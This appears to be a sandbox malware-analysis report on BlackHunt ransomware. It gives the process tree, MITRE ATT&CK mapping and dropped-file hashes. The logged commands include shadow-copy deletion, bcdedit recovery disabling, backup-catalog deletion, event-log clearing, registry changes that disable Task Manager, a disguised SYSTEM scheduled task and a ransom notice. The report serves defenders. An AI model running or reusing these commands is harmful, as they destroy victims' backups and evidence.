- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe" /F
  2⤵
  PID:1416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3192
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3372
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4512
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5020
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4316
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1708
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:964
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4608
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1700
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4800
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5164
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:5688
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:5152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:6060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:5692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:5832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:5612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5756
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5212
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5940
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5964
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2888
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:6136
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:212
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4196
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5480
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4020
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:2384
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:5148
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5148 -s 1424
      4⤵
      Program crash
      PID:268
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe"
  2⤵
  PID:5324
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:5456

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5496

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:408

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1316

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5148 -ip 5148
1⤵
PID:5992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
62af166a4ef29710b4be125111a99eb6

SHA1
bb3ae1868b056871fc6f6ded7cae17093a19afea

SHA256
28d434f4f5f200631902ece77c42ab81469b1512b202fd09fd94a74c3e870130

SHA512
f8cd2fc392cbab2e1194437121d8c98762f55459995e3df70150b9718ab5d140c885aa85bf98b1db0a7f572faf390b183a77ee8c1ed22b980141fe4ccc468930

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
65f2120b06ea19f85ef05e0a38240cc3

SHA1
f2d3826af0a7493548cfeda89773315213dd567c

SHA256
773aee6f2705cebed97c758399d5b18e3686cc8433868b9dbeb37a9998b6074d

SHA512
74748ada07f1044b203cb654b2c23b93be9b0590d5aed0333fa0cc9ba5405f03691e3601d1e7e44b7e972c6fd2997dc7f8db62d2124e4e0c8d4de925b3d8ee5b

Download Submit
F:\#BlackHunt_Private.key

Filesize
1KB

MD5
73e824b02eff00060e1db12321391200

SHA1
fcb346ce5a937833c8c699e9c535d854a3f50a81

SHA256
c7a552fef2c1880570c2ba43c6c125587ae13c40dec79419a2137f0e8b8ee909

SHA512
1fd8397ffc1518bfb76e6b7b29116491ed2f3a1e0daecba87f7e6dfc63f68add75e8597affe3e5c2e61577067e86af5b3ed9f7e8e9a4d980ffec4a082ee88f83

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads